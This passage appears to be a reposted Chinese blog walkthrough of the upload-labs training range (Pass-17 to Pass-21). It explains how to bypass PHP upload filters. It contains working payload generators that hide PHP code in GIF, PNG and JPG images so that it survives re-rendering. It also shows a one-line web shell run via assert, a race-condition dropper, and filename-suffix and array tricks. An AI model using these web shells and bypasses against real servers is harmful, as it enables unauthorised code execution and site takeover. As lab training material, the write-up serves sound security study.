}else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "该文件不是gif格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path);
@unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else{ $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名白名单,白名单中只包含了图片后缀,与此同时它通过imagecreatefromjpeg()函数从上传的图片格式中重新载入并代替原来的图片,不同的图片格式会渲染出不同的内容。我们可以针对不同的文件格式上传不同木马的方式绕过限制。

结合文件包含漏洞

由于题中本身存在文件包含漏洞,通过参数file来指定图片马可完成解析

文件包含+图片马(二次渲染)

gif绕过

gif二次渲染的绕过方式非常简单,我们只需要找到渲染前后没有发生变化的位置并将代码写入其中即可上传。因此我们可使用16进制编辑器打开 GIF 图片以及上传后的 GIF 图片进行对比,由于我使用的是notepad++,因此需要安装compare插件进行对比,红色部分为存在差异

因此我们只需要在GIF89a后插入 php 代码即可并上传

配合文件包含成功解析

include.php?file=upload/6884.gif

png绕过

png二次渲染绕过并不像gif那样简单。png 图片由三个以上数据块组成,共定义了两种类型的数据块,一种是关键数据块,另一种是辅助数据块(可选)。在关键数据块中定义了三个标准数据块(IHDR、IDAT、IEND),这是每个 png 图片必备的数据块。

- IHDR:文件头数据块包含 png 图片中存储图像的基本信息并作为第一个数据块出现在 png 数据流中,一个 png 数据流有且只有一个文件头数据块。- PLTE:调色板数据块是辅助数据库,主要用于索引图像,同时调色板的颜色数不能超过色深中规定的颜色数,否则会导致 png 图像不合法- IDAT:图像数据块用于存储实际数据,在数据流中可包含多个连续的图像数据块。- IEND:图像结束数据块用来标记 png 图像或数据流已经结束并且必须要放在文件尾部

在网上存在两种方式可用于制作绕过二次渲染的 png 木马。一是将木马写入 PLTE 数据块当中;二是将木马写入 IDAT 数据块当中。

写入PLTE

php 底层在对 PLTE 数据块验证的时候主要进行 CRC 校验,所以可在 chunk data 域中插入 php 代码,重新计算相应的 CRC 值并修改即可,但这种方式只对彩色图像的 png 图像有效,根据 IHDR 数据块的color type是否为03可辨别 png 图片是否为彩色图像,步骤如下:

1、找到 png 图片的 PLTE 数据块并在其中写入 php 代码2、计算 PLTE 数据块的 CRC3、修改 CRC 的值并进行验证

写入IDAT

使用国外大牛的脚本可直接运行拿到对应的木马图片

<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}
imagepng($img,'./1.png');?>

执行 php 脚本生成1.png

php test.php

运行后查看图片如下:

上传后配合文件包含成功解析

include.php?file=upload/20786.png

<?php $_GET[0]($_POST[1]);?>是如何作为木马的呢?我们可将http://172.16.117.135/upload/upload/1.php?0=assert作为请求链接,密码设置为1即可连接菜刀拿到shell

同样地我们也可以使用这种方式,在 POST 中传递命令成功解析

jpg绕过

直接采用大牛的脚本运行

<?php    /*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); }
if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); }
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE;
if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); }
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; }
function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } }
class DataInputStream { private $binData; private $order; private $size;
public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); }
public function seek() { return ($this->size - strlen($this->binData)); }
public function skip($skip) { $this->binData = substr($this->binData, $skip); }
public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); }
public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; }
public function eof() { return !$this->binData||(strlen($this->binData) === 0); } }?>

随便寻找一张 jpg 图片并命名为1.jpg,使用脚本生成木马

php test.php 1.jpg

运行后查看图片如下:

上传后配合文件包含成功解析

include.php?file=upload/28289.jpg

Pass-18

 场景分析

发现本题需要进行代码审计

$is_upload = false;$msg = null;
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名白名单,白名单中只包含了图片后缀,但是它设置了缓存文件,上传完成后才会根据后缀名来判断文件是否需要删除,因此上传的 php 文件会短暂停留在服务器上。我们可以使用条件竞争的方式绕过限制。

条件竞争

条件竞争需要通过不断上传文件,并在文件还没有被删除前读取文件。我们可以使用如下脚本写入新的木马以获得一个稳定的 shell

<?php fputs(fopen('2.php','w'),'<?php phpinfo()?>');?>

上传脚本抓取请求包并不断重放重放请求

与此同时也不断请求木马文件并成功访问到上传文件

成功访问2.php说明木马成功生成

这里需要的是我们要在 Windows Defender 中设置白名单,否则无法生成木马并自动删除。

Pass-19

场景分析

本题需要进行代码审计

//index.php$is_upload = false;$msg = null;if (isset($_POST['submit'])){    require_once("./myupload.php");    $imgFileName =time();    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);    $status_code = $u->upload(UPLOAD_PATH);    switch ($status_code) {        case 1:            $is_upload = true;            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;            break;        case 2:            $msg = '文件已经被上传,但没有重命名。';            break;         case -1:            $msg = '这个文件不能上传到服务器的临时文件存储目录。';            break;         case -2:            $msg = '上传失败,上传目录不可写。';            break;         case -3:            $msg = '上传失败,无法上传该类型文件。';            break;         case -4:            $msg = '上传失败,上传的文件过大。';            break;         case -5:            $msg = '上传失败,服务器已经存在相同名称文件。';            break;         case -6:            $msg = '文件无法上传,文件不能复制到目标目录。';            break;              default:            $msg = '未知错误!';            break;    }}
//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted = array( ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" );
.................. /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // if flag to check if the file exists is set to 1 if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } }
// if we are here, we are ready to move the file to destination
$ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" ); }.................. };

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名白名单,白名单中只包含了图片后缀,它首先会检查后缀名,通过后才能上传文件并使用二次渲染覆盖了上传图片。我们可以使用条件竞争的方式绕过限制。

 结合文件包含漏洞

由于题中本身存在文件包含漏洞,通过参数file来指定图片马可完成解析

需要注意的是本地的上传路径存在问题,可在myupload.php中修改如下:

条件竞争+二次渲染

条件竞争需要通过不断上传文件,并在文件还没有被删除前读取文件。我们可以使用如下脚本写入新的木马以获得一个稳定的 shell

<?php fputs(fopen('2.php','w'),'<?php phpinfo()?>');?>

制作绕过二次渲染的 gif 图片马

上传图片后通过解析漏洞成功解析

与此同时也在上层目录成功访问2.php,说明木马成功生成

Pass-20

场景分析

本题取文件名通过 POST 请求来获取

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; }
} else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名黑名单,黑名单中包含了所有可解析的后缀,文件名后缀匹配黑名单则无法上传,通过后使用move_uploaded_file函数重命名文件,其中的保存名称由POST参数save_name进行控制,与此同时该函数会将文件末尾的/.忽略。我们可以使用00截断或添加/.的方式绕过限制。由于之前已完成00截断测试,因此使用后者来进行实验。

反斜杠加.

上传 php 文件并将文件名修改为mac.php/.

成功访问上传文件

Pass-21

场景分析

本题需要代码审计

$is_upload = false;$msg = null;if(!empty($_FILES['upload_file'])){    //检查MIME    $allow_type = array('image/jpeg','image/png','image/gif');    if(!in_array($_FILES['upload_file']['type'],$allow_type)){        $msg = "禁止上传该类型文件!";    }else{        //检查文件名        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];        if (!is_array($file)) {            $file = explode('.', strtolower($file));        }
$ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } }}else{ $msg = "请选择要上传的文件!";}

这是一个后端校验的 PHP 代码,从上可知其中定义了文件后缀名白名单,白名单中只包含了图片后缀,文件名通过 MIME 进行检查,通过后判断POST传递的文件名是否为空,为空则直接赋值给['upload_file']['name'],不为空则还是本身。使用explode()函数将其转换为数组并再次检查后缀名,通过后数组的第一部分与最后一部分拼接完成上传。我们可以使用数组的方式绕过限制。

多数组上传

上传 php 文件后修改 MIME 为图片类型,将文件名的第1位数组修改为mac.php/,复制并将文件名的第三位修改为png

成功访问上传文件

0x05总结

文件上传在渗透测试中是一个非常常规的点,通常情况下我们进入应用内部首要就是寻找文件上传点,而UploadLabs 靶场中介绍了多种文件上传姿势,通过各种不同的场景锻炼我们的能力。在后端没有做严格的限制的情况下,修改MIME、修改文件名后缀、00截断、利用系统特性等方式能够直接上传木马,而面对严格的限制环境我们则需要使用条件竞争、文件包含、图片马等方式来上传文件。 

文章来源:狐狸说安全

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650562837&idx=4&sn=7343da780de6aee0adb84f5662718183&chksm=83bd04f1b4ca8de7aba608b6d5d58bc6eb18ffb1aa1ce1a348c8e04fb9b27a801bd23d326c06#rd
如有侵权请联系:admin#unsafe.sh